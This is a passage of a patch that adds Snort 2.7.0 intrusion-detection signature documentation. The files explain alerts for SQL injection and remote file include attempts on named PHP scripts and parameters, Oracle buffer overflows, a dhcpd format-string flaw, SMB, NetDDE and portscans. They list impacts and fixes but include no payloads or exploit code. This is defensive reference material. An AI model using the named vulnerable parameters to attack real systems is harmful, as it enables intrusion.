+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "idsite" parameter in the "view_com.php" script used by 
+the "PHPMyRing" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMyRing
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
--- snort-2.7.0.orig/doc/signatures/1466.txt
+++ snort-2.7.0/doc/signatures/1466.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1466
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000604.txt
+++ snort-2.7.0/doc/signatures/100000604.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000604
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_send.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_send.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/122-18.txt
+++ snort-2.7.0/doc/signatures/122-18.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-18
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp decoy
+portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/100000732.txt
+++ snort-2.7.0/doc/signatures/100000732.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000732
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "EditIPofURL.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "EditIPofURL.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2890.txt
+++ snort-2.7.0/doc/signatures/2890.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2890
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_nchar
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2039.txt
+++ snort-2.7.0/doc/signatures/2039.txt
@@ -0,0 +1,89 @@
+Rule:
+
+--
+Sid:
+2039
+
+--
+Summary:
+The Dynamic Host Configuration Protocol (DHCP) daemon is used to issue 
+dynamic IP addresses from a server to client machines. A vulnerability 
+exists such that arbitrary code may be executed on the server using the 
+credential of the super user (root).
+
+--
+Impact:
+Execution of code and possible control of the targeted machine.
+
+--
+Detailed Information:
+A format string vulnerabilty in some versions of dhcpd may lead to the 
+execution of arbitrary code as the root user via a DNS server response. 
+This is due to the unsafe logging of user data. The option NSUPDATE 
+option in the configuration of dhcpd must be enabled, although this is a
+default option in version 3.0 and later.
+
+Two exploits for this vulnerability are known to exist.
+
+--
+Affected Systems:
+ISC DHCPD 3.0
+ Caldera OpenLinux Server 3.1 and 3.1.1
+ Caldera OpenLinux Workstation 3.1 and 3.1.1
+ Conectiva Linux 8.0
+ MandrakeSoft Linux Mandrake 8.1, 8.1 ia64, 8.2, 8.2 ppc and 9.0
+ MandrakeSoft Multi Network Firewall 8.2
+ S.u.S.E. Linux 7.2, 7.3 and 8.0
+ S.u.S.E. Linux Connectivity Server
+ S.u.S.E. Linux Database Server
+ S.u.S.E. Linux Enterprise Server 7 and S/390
+
+ISC DHCPD 3.0.1 rc8 and ISC DHCPD 3.0.1 rc7
+ FreeBSD FreeBSD 4.1.1, 4.2, 4.3, 4.4 and 4.5
+
+ISC DHCPD 3.0.1 rc6
+ S.u.S.E. Linux 8.0 and 8.0 i386
+
+ISC DHCPD 3.0.1 rc5, ISC DHCPD 3.0.1 rc4
+OpenPKG OpenPKG 1.0
+
+ISC DHCPD 3.0.1 rc3, rc2 and rc1
+
+--
+Attack Scenarios:
+The attacker could send a specially crafted packet to the dhcpd server or use one of the exploits widely available for this vulnerability.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches from the vendor should be applied as soon as possible.
+
+Upgrade to ISC DHCPD 3.0.1 rc 9.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4701
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0702
+
+--
--- snort-2.7.0.orig/doc/signatures/100000336.txt
+++ snort-2.7.0/doc/signatures/100000336.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000336
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpMyDirectory" application running on a webserver. Access to the file "footer.php" using a remote file being passed as the "ROOT_PATH" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "ROOT_PATH" parameter in the "footer.php" script used by the "phpMyDirectory" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpMyDirectory
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2851.txt
+++ snort-2.7.0/doc/signatures/2851.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2851
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repobject
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1655.txt
+++ snort-2.7.0/doc/signatures/1655.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1655
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3136.txt
+++ snort-2.7.0/doc/signatures/3136.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3136
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2702.txt
+++ snort-2.7.0/doc/signatures/2702.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+2702
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+--
+Affected Systems:
+	Oracle iSQLPlus
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/561.txt
+++ snort-2.7.0/doc/signatures/561.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+561
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/1739.txt
+++ snort-2.7.0/doc/signatures/1739.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1739
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/830.txt
+++ snort-2.7.0/doc/signatures/830.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+830
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/910.txt
+++ snort-2.7.0/doc/signatures/910.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+910
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2938.txt
+++ snort-2.7.0/doc/signatures/2938.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2938
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/1244.txt
+++ snort-2.7.0/doc/signatures/1244.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1244
+
+--
+Summary:
+This event is generated when an attempt is made to access the .idq Indexing Service ISAPI filter. 
+
+--
+Impact:
+Intelligence gathering activity. If an .idq file is erroneously shared from a network share, an error message is returned from a request that contains the share path will be disclosed.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) installs several Internet Service Application Programming Interface (ISAPI) extensions.  The .idq ISAPI filter provides support for Internet Data Queries.  Files with the .idq suffix should not be located on network shares.  If an attempt is made to access them from a network share, an error message is returned disclosing the share path.  
+
+--
+Affected Systems:
+Hosts running IIS 4.0
+Hosts running IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can attempt to access a file with the .idq suffix in an attempt to receive an error message with disclosure about the share path.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Do not place files with the .idq suffix on a network share.
+ 
+
+--
+Contributors:
+Original rule written by Dr SuSE and C. Mayor 
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS552
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0071
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1480.txt
+++ snort-2.7.0/doc/signatures/1480.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1480
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
